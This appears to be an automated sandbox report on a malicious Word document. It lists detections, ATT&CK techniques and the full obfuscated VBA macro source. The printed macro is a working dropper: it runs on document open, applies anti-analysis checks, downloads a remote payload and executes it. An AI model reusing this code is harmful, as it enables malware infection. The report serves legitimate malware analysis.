MALICIOUS
212
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro, along with 'CreateObject' and 'CallByName' calls, indicates the execution of malicious code upon opening. The ClamAV detection 'Doc.Dropper.Donoff-5743527-0' strongly suggests this is a dropper. The VBA code is heavily obfuscated, but its presence and the 'Document_Open' trigger point to an attempt to download and execute a secondary payload, characteristic of a spearphishing attachment.
Heuristics 8
-
ClamAV: Doc.Dropper.Donoff-5743527-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Donoff-5743527-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim HjddagCG As String Set LVeLqIhHpgcj = QgLKmF(CreateObject(HFyGCv)) End Function -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
Public Function MoJxGITWIUNkn(ByVal NMjxaQSGD As String, ByVal itgwSDPsxFR As Object, ByVal aoBRCMWvyK As Integer) As Variant MoJxGITWIUNkn = CallByName(itgwSDPsxFR, NMjxaQSGD, 2) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Sub Private Sub Document_Open() Dim WIkaLCxxjadlNZ As Integer -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 18423 bytes |
SHA-256: f9d9c14361324149cfbb1086c10ba5b70b68985b0458d8909391f96f35c82b6e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
382 of 562 identifiers look randomly generated (e.g. 'gReVs1pZVoZnsjeyETeHwxtj') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub MAJUfmS(ByVal bNMbmRf As String, ByVal vhpYFyRSh As Integer)
XGaKAD True, "rhtL47ZW1mTdGHy", 9044
hmttto "Q0teVnyVr", "iUP5XBM15M7Z"
JrIxLJIXkK
gTgexEeOSlJe = 6741
If mPuLsyISDn("QKNNaNQIIvGof", 886, 440) Then
RvjaACY = 9024
kkwizUeRTbfjoO
XxbArwfegxvQ 1883
YOtuhqvy = 3192
fMwVSyWMubsL "2tSQYLIxezQkXrG"
anWcUVobvpMk = "pAxOWJZN4DuO"
Else
fpvgxULdV 653, 5024, 4694
nVDYKLAB "hXavQOyHMvIGDA", 9258
WphGNqmeUso
RtTwWtHpHGvwl = False
End If
End Sub
Private Sub tzfBtxduDMB(ByVal rEHIqlvYY As Integer)
YArhPAi "DM5iA6QDZbd1vI3", "x8MZPq7NAnPkHN", "jAH7MYVquxbx"
LjHwGCfAefK = 358
FOYHUPYTjlwwOd
TcXkGWeAjUrgv = "VSaumuLXhOh"
If yZkLNUNeCfhDs(True, 55, True) Then
CeuMmaMB = 4069
jXEJXJBvGmND 555, "DQEZRi6VO0", 2131
NvxbLojxTBELvT = "dXW5yeO9M"
vjqtUkWcCI
Else
TtApdNjnW
fSAMH 9355
SubOJirI = "SubDGiBeDBmt"
End If
End Sub
Private Sub Document_Open()
Dim WIkaLCxxjadlNZ As Integer
Dim epBzOTVtcdsuSk As Boolean
AYRHDQrJAEcsI.VfKRQpya
End Sub
Attribute VB_Name = "AYRHDQrJAEcsI"
Private Sub vkbPKLoU(ByVal UxzxkCuef As String, ByVal EmqYtOi As String)
QBeIPKOx "6oMxnL7AjjXB"
LbiClRB = "ZdpJ1PK6yoPy6"
IFBSSIQek "2eW3zVOINv5", "xQcfcm00o", True
End Sub
Private Sub fRckkDuGWRTxn(ByVal NPOwbKgVVDgojz As Integer, ByVal FglYenududAlv As String)
KvgcimO 3110
pyKMGMYpGxV = 6371
roRsj "LG2dnWyCK8r6dKW", "SC66KGPOzo2"
ounfSPQcK = True
QMXSuO
End Sub
Private Sub vFcSXyZGE(ByVal scZoM As String, ByVal FdnAzQU As Boolean)
OewauOLnUZ
JCQluUTEQFr
xfWbv
End Sub
Public Function LVeLqIhHpgcj(ByVal HFyGCv As String, ByVal RKWxldLyCG As String) As Object
Dim CnkkPumIwi As Integer
Dim HjddagCG As String
Set LVeLqIhHpgcj = QgLKmF(CreateObject(HFyGCv))
End Function
Public Sub VfKRQpya()
Dim jQWnf As String
Dim uWljpXcdYE As Integer
On Error GoTo tiIDlSCbE
XGwYdGsOckm.LheegrRJKcSB
XGwYdGsOckm.GBDDQZy
eWxZxLpnhppSnm
Exit Sub
tiIDlSCbE:
End Sub
Private Sub iDotBLKbpOWgM(ByVal MtWPpiPmkdd As String)
xmJvE = "vMJHqbKRx5k6"
If ONpVcoCot Then
cDurLCgROUjA False, "K6vLIWiNc"
cCoFhL
GjzANcHJuo True
Else
dzcyWlk 2123
End If
dBxOJvwpYprD "og0iAZ2Su", 972
End Sub
Private Function QgLKmF(ByVal hEWBiN As Object) As Object
Dim ZNGZWBWjzXx As Integer
Set QgLKmF = hEWBiN
End Function
Private Sub LsMbAMYIq(ByVal zRKuqzV As String, ByVal GBrydgSxJu As String, ByVal oMjTyxJI As String)
Set PHbpw = JnPgdwSAdhM.wLonezG(True, oMjTyxJI)
JnPgdwSAdhM.WyEdsjjoo kDmCWdGQbcT, 2670, "OSSbShuz6", PHbpw
IxbmwrhgGL.BGRHuwYO vkeDxmcPbOhz.MoJxGITWIUNkn(NeTFxtqgc, PHbpw, 8879), False, "L372CAsWGx51", zRKuqzV
End Sub
Private Sub eWxZxLpnhppSnm()
Dim KBKfb As Boolean
LsMbAMYIq IxbmwrhgGL.HfBpfvTAZA, "15bQKrfo9Z", tkIYq
IxbmwrhgGL.eUusOpvlzCoSjG False, 618, IxbmwrhgGL.HfBpfvTAZA
End Sub
Private Function kDmCWdGQbcT() As String
kDmCWdGQbcT = LriJsXd.cCkpoGnugqZVhL("Cza4Inz'tM ZPdo4w4nzIlJoMad3I b1i3PnzarMyZM f4JiJleZ", "PJzM13:I4Z")
End Function
Private Function NeTFxtqgc() As String
NeTFxtqgc = LriJsXd.cCkpoGnugqZVhL("kR3esv0p5onTvsDeBT5okdyA", "Dv5Tw4r3Ak0")
End Function
Private Function tkIYq() As String
tkIYq = LriJsXd.cCkpoGnugqZVhL("6hMttvp6v:u//Mbn6riGnt6caurUnt.nvcovGm/nbMUr6it6Ust6a6rn/uovvffuiucuUe1Un2.66dUat6av", "6nUMGuv")
End Function
Attribute VB_Name = "LriJsXd"
Private Function tXmhognvIfg(ByVal uZHoi As Integer, ByVal zMWwXOXH As Integer, ByVal iTPYRUROYHAbKP As String, ByVal zQWWNQpgaCwW As String) As String
If Not mwVDdDB.rPmhgmuyiY(zQWWNQpgaCwW, False, False, iTPYRUROYHAbKP) Then
tXmhognvIfg = zQWWNQpgaCwW
End If
End Function
Private Function vbItBJGAOv(ByVal lSDoPPpzSKlRqQ As String) As String
xquWuDVoF
sQAUwl = False
UbObbUi
vbItBJGAOv = "M5Ws53QHCTwpH"
End Function
Public Function cCkpoGnugqZVhL(ByVal SyykVvoH As String, ByVal ipUEljXbl As String) As String
gOJaRFUJBFu = 4259
For RYMboyWWF = FUgrOUHFG To mwVDdDB.MSfbxiEHWV("nQG9IusRJ", "NaNqBHcUxv", SyykVvoH)
OwQavyoR = 8749
cCkpoGnugqZVhL = mwVDdDB.IdUymwxSkpwsoy(5793, cCkpoGnugqZVhL, tXmhognvIfg(3772, 6608, ipUEljXbl, mwVDdDB.uKzkFmKjmjiX(RYMboyWWF, SyykVvoH)), 2140)
Next
End Function
Private Function FUgrOUHFG() As Integer
kHObqdHdDPqduc = 1044
FUgrOUHFG = 1
End Function
Private Sub BfxYieY(ByVal GRhGMIslJOwg As Integer)
cFkskfgj 5909, "4AXH9MinpX", "0hGsWW8KV"
xKpEozkTJG
End Sub
Private Sub BOoSW(ByVal XXsqDCuO As String)
bfCTmhoqIb
VMgJcjegD
End Sub
Attribute VB_Name = "JnPgdwSAdhM"
Public Function wLonezG(ByVal AFaeCj As Boolean, ByVal dyzQjBPvZPi As String) As Object
Dim LYekMzmDFkwLP As Integer
Dim FBvlGGDmpJtcTe As String
Set wLonezG = AYRHDQrJAEcsI.LVeLqIhHpgcj(fvinbGIM, "8wfko3zDqmE")
vkeDxmcPbOhz.dCQMjACgoR cHcwnnSc, dyzQjBPvZPi, False, "pz5QoDiTm7", 3760, wLonezG, LIzhWhmDluj
vkeDxmcPbOhz.yZDYbzO riiiQEoOCrPnsY, wLonezG, LriJsXd.cCkpoGnugqZVhL("MqqoFziLRlRlkaK/4KK.F0 kq(cFo9m3p3aqtqiRKblKeK;9R qM9S7IEq K78.F0K;q3 WkKinkqdKow39sK 3NLTq 75F.q1;K9 9TrFi7KdekLnkt3/439.K0q)", "RL3Kk7F9q"), KZIPrrxvV, "j5cKwSdZ3"
End Function
Private Function temtm(ByVal sJlzLNxpofi As String) As Integer
FwCjwjoLepnp = "RyoEs4GidiiF2sV"
SPzJtrMJW
uLdpU = 4114
hnTPC
qywDcEE = "49gs3TV2CsrgNQ"
GUNGlRXZQwDuD
UJPNSRe 5669, 1163
temtm = 4867
End Function
Public Sub WyEdsjjoo(ByVal GTdfkjIzehOWQk As String, ByVal zRDSlnmA As Integer, ByVal GEDSwERorDLA As String, ByVal buYnxlwzdoRIX As Object)
Dim xJhesWeGlOJ As String
vkeDxmcPbOhz.nyHcFGGGspiSVd buYnxlwzdoRIX, LriJsXd.cCkpoGnugqZVhL("SBeD2nLd", "0Bt2TlHLD5J"), False
If vkeDxmcPbOhz.MoJxGITWIUNkn(LriJsXd.cCkpoGnugqZVhL("Sh:taB:tHusB", "BDHY:Nh"), buYnxlwzdoRIX, 8879) >= QjpWHfx Then
Error 3
End If
End Sub
Private Function QjpWHfx() As Integer
FKxBzkhtVtYB = "iG4tMDuPpTCbAoD"
QjpWHfx = 400
End Function
Private Function fvinbGIM() As String
fvinbGIM = LriJsXd.cCkpoGnugqZVhL("0Wiv0n0HtztOpw . Wi vnHv2t2twp2RebqvuO evstz.lz5z.w1", " 2wO0lbzv")
End Function
Private Function cHcwnnSc() As String
cHcwnnSc = LriJsXd.cCkpoGnugqZVhL("OImp0e0n", "Kc9023IWNmy4")
End Function
Private Function LIzhWhmDluj() As String
LIzhWhmDluj = LriJsXd.cCkpoGnugqZVhL("kGEXTX", "L1P04kXB")
End Function
Private Function riiiQEoOCrPnsY() As String
riiiQEoOCrPnsY = LriJsXd.cCkpoGnugqZVhL("vUMsoexrx-TARgYenNtN", "5MhTxmRNovY")
End Function
Private Function KZIPrrxvV() As String
KZIPrrxvV = LriJsXd.cCkpoGnugqZVhL("SLwet65R.eNqu5beistwTHeN.aTdLe5r", "bLpN.5T6wi")
End Function
Attribute VB_Name = "vkeDxmcPbOhz"
Public Function MoJxGITWIUNkn(ByVal NMjxaQSGD As String, ByVal itgwSDPsxFR As Object, ByVal aoBRCMWvyK As Integer) As Variant
MoJxGITWIUNkn = CallByName(itgwSDPsxFR, NMjxaQSGD, 2)
End Function
Public Sub yZDYbzO(ByVal WDpNT As Variant, ByVal NGOPzojGJYeqr As Object, ByVal yaZvRWWc As Variant, ByVal RMskTiOzL As String, ByVal kRtcnEwrstrFLd As String)
Dim kMrxsm As Integer
Dim WfXjI As String
CallByName NGOPzojGJYeqr, RMskTiOzL, 1, WDpNT, yaZvRWWc
End Sub
Private Sub iCUAFJyDcWtYtk()
ssxVajMnO = "lS2eMkIUp"
kxEFKZD
jyXlPSCm "qa42EsboOw", "9658L3zNAl0U", "jQQYEUiNgMDX"
End Sub
Public Sub VUdvuj(ByVal ujgSscaO As String, ByVal fGsSczYPsnchbZ As String, ByVal YpffSeqEOH As Object, ByVal ccZCXLg As String, ByVal lpQogtKUnux As Variant)
Dim UciZLbvMqK As Integer
Dim XdOimKbjjnm As String
CallByName YpffSeqEOH, ujgSscaO, 4, lpQogtKUnux
End Sub
Public Sub nyHcFGGGspiSVd(ByVal izKsUniTzlNiF As Object, ByVal ylFWwqoIztru As String, ByVal icSEbdy As Boolean)
Dim iuByqDjDair As Integer
CallByName izKsUniTzlNiF, ylFWwqoIztru, 1
End Sub
Private Sub DFBiNbGgdXPTrS(ByVal NjBOSN As String)
xmjHdPw True, "vxmIv3dtzmdiSa", False
End Sub
Public Function jKznCdNGihHpQ(ByVal JuJKnQfVtTUw As Object, ByVal SOKnWIQtXtnG As String) As Object
Dim kaeJqsCbqYbE As String
Dim tUhtkVxYTRqivl As String
Set jKznCdNGihHpQ = CallByName(JuJKnQfVtTUw, SOKnWIQtXtnG, 2)
End Function
Public Function zYpjKlVW(ByVal UNSWhNz As Variant, ByVal VBDhNdZpda As String, ByVal iCWLLudVWFAw As String, ByVal EYAukf As Boolean, ByVal ugtjnWAEUnwqt As Object) As Variant
Dim qRnieFMxV As String
SrKDK = "s2ilypKsr7kI"
Set zYpjKlVW = CallByName(ugtjnWAEUnwqt, iCWLLudVWFAw, 2, UNSWhNz)
End Function
Public Sub dCQMjACgoR(ByVal ULicttNauOq As String, ByVal jAZeZJkRtM As Variant, ByVal zwQXm As Variant, ByVal wrdWDSrzeILJ As String, ByVal MmUKbalGnLN As Integer, ByVal vPBkeRjhUDVk As Object, ByVal BLuizhYAh As Variant)
Dim FCZIE As Integer
Dim QFZHe As Boolean
CallByName vPBkeRjhUDVk, ULicttNauOq, 1, BLuizhYAh, jAZeZJkRtM, zwQXm
End Sub
Private Function qnkuQAOPAlGtho() As Boolean
If vSXvXhMBPwSG Then
QApbhLmtpnusoS "xsfSoqcitexdoar", False, 9556
MTEfFhGErnKc
Else
qflEUhet
TnNDfsEtSMCf = False
dHjJlrDYtfXU "McY8DoBdi5vo", "gLRkWIBOD5Yr", "0zjVWYfGDLgJ"
HhqEdidSmA = "zXP8TS7rhgN"
Fuzdrk 2378
End If
dDTOMHtOfqrlO 9807
JRoQMUrIB
qnkuQAOPAlGtho = True
End Function
Public Sub iDuwfzD(ByVal NDOtSrM As Variant, ByVal PYXfwRvik As String, ByVal rYYWWWrhVhHsEJ As Object)
Dim LkRPzC As String
Dim JQpyvCGEIaSC As Boolean
CallByName rYYWWWrhVhHsEJ, PYXfwRvik, 1, NDOtSrM
End Sub
Private Sub bdjqYoezUWvSNE()
ZQpfAfu "5ttiQU6hsw", "FrKH1AJPQcVM", "nfcn6i4tpW"
jPwwlQioS = 2391
qfCtTxYrG "Nfkp7MvueB"
End Sub
Attribute VB_Name = "XGwYdGsOckm"
Private Sub dlYLuM()
FArhmhmcbryIUJ "DY5f5VEc2W8Qs", 1183, 470
fgQnGhUyzAoB
End Sub
Private Function PKwpETiSnvDs() As String
Dim FIHbtaPqFanw As Integer
AQeBTHiOQIwE = 8388
Set PHbpw = JnPgdwSAdhM.wLonezG(True, DwamzMv)
vkeDxmcPbOhz.yZDYbzO LriJsXd.cCkpoGnugqZVhL("LRkefkneMre3nr", "nBMk:8pKL3"), PHbpw, YwCzG, LriJsXd.cCkpoGnugqZVhL("Sbewt9bR9ebqu/bes/t9bHbe/adCebr/", "pA9CNi:wbF/"), "2HBcRE9EZc4h7U"
JnPgdwSAdhM.WyEdsjjoo oRiVkhlynZm, 2670, "EeJEjohFhKxS", PHbpw
PKwpETiSnvDs = vkeDxmcPbOhz.MoJxGITWIUNkn(LriJsXd.cCkpoGnugqZVhL("gReVs1pZVoZnsjeyETeHwxtj", "VwEZG1Hjgy"), PHbpw, 8879)
End Function
Private Function GuPdQtn() As Integer
GuPdQtn = 3
End Function
Private Sub yExoJr(ByVal ruhmWoPtiNh As Integer, ByVal AlWKpCvI As String)
sBJOSm = 2068
KkeFXtApASNo
uJNQUINYhEL
End Sub
Private Function aRWMRpkpew() As Integer
Dim JSPgxHNshYoQE As String
aRWMRpkpew = vkeDxmcPbOhz.MoJxGITWIUNkn(LriJsXd.cCkpoGnugqZVhL("C0oTTunNNt", "0cRj/NT"), vkeDxmcPbOhz.jKznCdNGihHpQ(Application, LriJsXd.cCkpoGnugqZVhL(".ReOcCe8n8tGFJi.lGJesJ", "8OCdZ.4GJm")), 8879)
End Function
Public Sub LheegrRJKcSB()
Dim wfiwciXZ As Integer
If aRWMRpkpew < GuPdQtn Then
Error 6
dwFtOIRNssAmS = 7869
End If
End Sub
Private Function kMQSxTnp() As Variant
kMQSxTnp = Array(LriJsXd.cCkpoGnugqZVhL("3AmENa1zoOnL", "XOLd31NEcI"), WDZLOWjdr, LriJsXd.cCkpoGnugqZVhL("B8OlJueJ JkC8oa:t/1 S/yksI8teJm71s", ":71kZOI8/J"), VkowvOkJ, lJsqLUuo, eYSgSMTfC, LriJsXd.cCkpoGnugqZVhL("lDyed:Hic.awptpe.d", ":yJHpklwr."), zCSydDANYg, PiTgxknUkYXj, LriJsXd.cCkpoGnugqZVhL("FGMoZrEcKePpoEiKKntM", "GQEKMPBYZ"), LriJsXd.cCkpoGnugqZVhL("5He87tRznReJur", "s257AVRJu8"), zbEwlTrAoub, bIknLZWDqpEwsS, LriJsXd.cCkpoGnugqZVhL("nLe8TaPseSW8ePbn", "S78kPnT"), LriJsXd.cCkpoGnugqZVhL("CMiucuuroOs2o6wftw", "CYLJ2u6wO7U"), gJpxWRjsIaRj, LriJsXd.cCkpoGnugqZVhL("TNTor2ty6h jA:m62ery2icTaB", "2:zyTjdZB6"), ezVfKDOCaF, LriJsXd.cCkpoGnugqZVhL("SWewc.uCrWZi.tys", "ZCGwWFs5./"), LriJsXd.cCkpoGnugqZVhL("nS:e2rvLcer3", "2Lft:cH/n3N"), VeioyEBm, VXeJwbb, cwUkxHRlStyyJp)
End Function
Public Sub GBDDQZy()
Dim dTcEaANhAgox As String
Dim fMFIhvJzsDvEiv As String
dTcEaANhAgox = PKwpETiSnvDs
For Each dHXyiX In kMQSxTnp
If mwVDdDB.rPmhgmuyiY(dHXyiX, False, False, dTcEaANhAgox) Then
Error 6
YPaDYizgWIqB = False
End If
Next
End Sub
Private Function DwamzMv() As String
DwamzMv = LriJsXd.cCkpoGnugqZVhL("hUtYtApjOs:A/NY/AwwSwlA.mAOaOxmSiEKnEd.lcYjolmY/gYAeSoiEpNE/Ev2Nl.1N/OclYiStNy/YUmeK", "lOUAjYESNK")
End Function
Private Function YwCzG() As String
YwCzG = LriJsXd.cCkpoGnugqZVhL("GhtLGt5p2sL:/2G/w5wHwI.YGmLax5mHYin66d.IcHoImGY/GenL/55loL2caNtG5e5-mGyY-IIipG2-aGLd2drYYes6sG", "HL6ISY5N2GU")
End Function
Private Function oRiVkhlynZm() As String
oRiVkhlynZm = LriJsXd.cCkpoGnugqZVhL("CPaPnA'XStA c0o4n4nP6eSc4t 4St6o A6h6tt5PpsP6:0/S/4ww54wP.m56axX5miS5nPd.PcA6omX0/XgSeoSi4Pp/00v2X4.S1A/c50iXt0y6/0m6e", "XA506P4S")
End Function
Private Function WDZLOWjdr() As String
WDZLOWjdr = LriJsXd.cCkpoGnugqZVhL("AQ9nfoqnQycmox5u5s", "xQf9q5Hvc")
End Function
Private Function VkowvOkJ() As String
VkowvOkJ = LriJsXd.cCkpoGnugqZVhL("3CPis3c33o3 SPyWsjPtePLmLs", "RWPj3L")
End Function
Private Function lJsqLUuo() As String
lJsqLUuo = LriJsXd.cCkpoGnugqZVhL("CYnloYfudf", "A01wSnOKfBY")
End Function
Private Function eYSgSMTfC() As String
eYSgSMTfC = LriJsXd.cCkpoGnugqZVhL("DMVaMtaVM CNefnOtVOer7", "7VOMzNfv0")
End Function
Private Function zCSydDANYg() As String
zCSydDANYg = LriJsXd.cCkpoGnugqZVhL("EKzSE7TKG,z sBGpo7ly", "zGQBK7y6")
End Function
Private Function PiTgxknUkYXj() As String
PiTgxknUkYXj = LriJsXd.cCkpoGnugqZVhL("oFi9mreoEmmye9", "d9/qom")
End Function
Private Function zbEwlTrAoub() As String
zbEwlTrAoub = LriJsXd.cCkpoGnugqZVhL("jHoPsPtjved/", "jP7/vK")
End Function
Private Function bIknLZWDqpEwsS() As String
bIknLZWDqpEwsS = LriJsXd.cCkpoGnugqZVhL("PHhoshtxZinxgD", "hPwZ.Dx3")
End Function
Private Function gJpxWRjsIaRj() As String
gJpxWRjsIaRj = LriJsXd.cCkpoGnugqZVhL("N6F.oUzr0cbe", "WU:6m.bMz0")
End Function
Private Function ezVfKDOCaF() As String
ezVfKDOCaF = LriJsXd.cCkpoGnugqZVhL("OeMVHj wSyyAsS", "wMdyesj")
End Function
Private Function VeioyEBm() As String
VeioyEBm = LriJsXd.cCkpoGnugqZVhL("S/5tr5oLn/bg /Tk/ecZh//n5olPoLgRiZZes/", "5Z/JPVRkbL")
End Function
Private Function VXeJwbb() As String
VXeJwbb = LriJsXd.cCkpoGnugqZVhL("5TryNenqLd q0MiVUcrq0o", "LUqyVNhZ105")
End Function
Private Function cwUkxHRlStyyJp() As String
cwUkxHRlStyyJp = LriJsXd.cCkpoGnugqZVhL("1bl11acjEkQojak22cyoxmpy.uJteJQrsQ", "q1QxEy2.Jj")
End Function
Attribute VB_Name = "mwVDdDB"
Public Function uKzkFmKjmjiX(ByVal LzpbIZLQpaC As Integer, ByVal dmTmLMSbY As String) As String
Dim xlMttEmR As Integer
Dim UWkcydEuEH As String
uKzkFmKjmjiX = Mid(dmTmLMSbY, LzpbIZLQpaC, 1)
End Function
Private Sub yIVla(ByVal FkRcx As Integer)
pYGqBKcuTAr = 5466
jsPnIPEiweTeBg
HOQrw False, False
End Sub
Public Function MSfbxiEHWV(ByVal yJuoat As String, ByVal UmdsLt As String, ByVal NycbgipYr As String) As Integer
Dim CNgtyXPpOhOrIt As String
Dim bWGwBp As String
YiTFh = 3248
MSfbxiEHWV = Len(NycbgipYr)
End Function
Private Sub znGmuoKbwieCZZ(ByVal EywqDiKF As Integer, ByVal CqgzFGVksJ As Boolean)
Ibiqdln
hPeKChAz 3345, "fHHUcv7V1cTw"
fGHFTmTm = "oC4TfC2wHn"
YbNPQrmtk
If clACkrjSaDVX Then
gxqqLpJJiO "CyqbTa4XKG0"
Else
kMUTkIMjelsfYz "5lXPOxDCHP"
bKptEMbkorIVVV = True
End If
End Sub
Private Sub pqjog()
If emulMMMPTbQ("ovJTKn14qNX", "ORcW200JGG", "7XzLI0ZKfSa0r1v") Then
XoUBLUy "Zp0BwEGCn2NaDEO"
AGxnRFZCt
jRThfiZzfw = 7029
DEsZKRyCshj
Else
NzFVa "IiPOaVsM97", "0wfNZuiwz2", False
kzSSUaeFGngAxt
qZpfprMxHqX 5681
End If
End Sub
Public Function IdUymwxSkpwsoy(ByVal YijVSuna As Integer, ByVal wkXaQTZV As String, ByVal DkSnWQ As String, ByVal otZMQYPZwvdJD As Integer) As String
Dim aFEEdWdlu As Integer
IdUymwxSkpwsoy = wkXaQTZV & DkSnWQ
End Function
Private Function NOjhrn(ByVal vJFXSvvgKLlQ As Boolean, ByVal hjIIpqaI As Boolean) As String
QbNkbqUxCRRhkw "qU7ElZOdakcXH1", 2807
rmoqvGWIZz
NOjhrn = "7QpsEJFBE"
End Function
Public Function rPmhgmuyiY(ByVal CAMPMoROL As String, ByVal BfsZtFxQvkbdJ As Boolean, ByVal AbTQyZUok As Boolean, ByVal PuOqcqdZj As String) As Boolean
Dim FSFMqwbAsL As String
Dim NuGpNNLUece As Integer
rPmhgmuyiY = InStr(PuOqcqdZj, CAMPMoROL) <> 0
End Function
Attribute VB_Name = "IxbmwrhgGL"
Private Function rtttunWEQa(ByVal MIbvgFibkzZFI As String) As String
HWbqekX
rtttunWEQa = "0IbKzyGwJ"
End Function
Private Function uFhviYvF(ByVal scRXRqTW As String) As String
Dim qLtvONdR As Integer
Set dnxjslzafA = vkeDxmcPbOhz.zYpjKlVW(YpAMuIbmdlpgIH, "ueACh4FjVPHAWI9", HDkRErI, False, AYRHDQrJAEcsI.LVeLqIhHpgcj(LriJsXd.cCkpoGnugqZVhL("WQDSqcr44i4ptQg.4ShQDeQllG", "94QOGDgq"), "gKXQbsI9PUT4GjD"))
uFhviYvF = dnxjslzafA(scRXRqTW)
End Function
Public Function HfBpfvTAZA() As String
Dim LdyJLLirtt As Integer
HfBpfvTAZA = uFhviYvF(LriJsXd.cCkpoGnugqZVhL("NTqENMP9", "OZ:19mlBNUyq")) & xMByJQcIsHV & LriJsXd.cCkpoGnugqZVhL("xtmLUp4U5x4U5Xd.VtLmpU", "dXVxjLU8I2")
End Function
Public Sub eUusOpvlzCoSjG(ByVal wsCrFCHmr As Boolean, ByVal dhrBUnY As Integer, ByVal iPzuh As String)
Dim VBApFnGiW As String
Dim NjpfsXjlMpNJoP As Boolean
vkeDxmcPbOhz.iDuwfzD iPzuh, LriJsXd.cCkpoGnugqZVhL("vExBeRTc", "RBTyivA"), AYRHDQrJAEcsI.LVeLqIhHpgcj(LriJsXd.cCkpoGnugqZVhL("W47Sgc7rDipDtDG.qSDhZe4ll4", "7gG4DPXqZ"), "uylcWFAU7yylHIv")
End Sub
Public Sub BGRHuwYO(ByVal TTSQfIMtrQpsvY As Variant, ByVal AsjpR As Boolean, ByVal lIfAPPdglHga As String, ByVal EqvROej As String)
Set fnbCiVn = AYRHDQrJAEcsI.LVeLqIhHpgcj(LriJsXd.cCkpoGnugqZVhL("ACD4LOD4BG.CsSstMrGeMaUm", "GCs4MUYL"), "tU7SIBeyYIr")
vkeDxmcPbOhz.VUdvuj LriJsXd.cCkpoGnugqZVhL("T/yYpJYe", "/ HYJEw"), "uwf9AKD88", fnbCiVn, "V4ymv3CDKpp", 1
vkeDxmcPbOhz.nyHcFGGGspiSVd fnbCiVn, LriJsXd.cCkpoGnugqZVhL("OqQpehnQ", "EQqNwPRh 6"), False
vkeDxmcPbOhz.iDuwfzD TTSQfIMtrQpsvY, GZZyHYbuKFQ, fnbCiVn
vkeDxmcPbOhz.yZDYbzO EqvROej, fnbCiVn, 2, yxiBFTfBIde, "xQgBlLpCFbbyt"
vkeDxmcPbOhz.nyHcFGGGspiSVd fnbCiVn, LriJsXd.cCkpoGnugqZVhL("CiDloyske1", "MWiD3y1kBr"), False
End Sub
Private Function xMByJQcIsHV() As String
xMByJQcIsHV = vkeDxmcPbOhz.MoJxGITWIUNkn(jDcszcVgWug, Application, 8879)
End Function
Private Function YpAMuIbmdlpgIH() As String
YpAMuIbmdlpgIH = LriJsXd.cCkpoGnugqZVhL("PTRsOjCHsE.SsS", "Hb.NTsjFQ")
End Function
Private Function HDkRErI() As String
HDkRErI = LriJsXd.cCkpoGnugqZVhL("EXnXvXi4rGobFnbme4qntq", "qX68FG5.b294")
End Function
Private Function GZZyHYbuKFQ() As String
GZZyHYbuKFQ = LriJsXd.cCkpoGnugqZVhL("OWYri0tge0", "Obg0I9YAS")
End Function
Private Function yxiBFTfBIde() As String
yxiBFTfBIde = LriJsXd.cCkpoGnugqZVhL("S9mavKHeT8bonFimKleH", "Kqnbm8HI9")
End Function
Private Function jDcszcVgWug() As String
jDcszcVgWug = LriJsXd.cCkpoGnugqZVhL("PqMatMmhS.TeTpIaTraMMtqoMr", "zT2.9/MmqI")
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.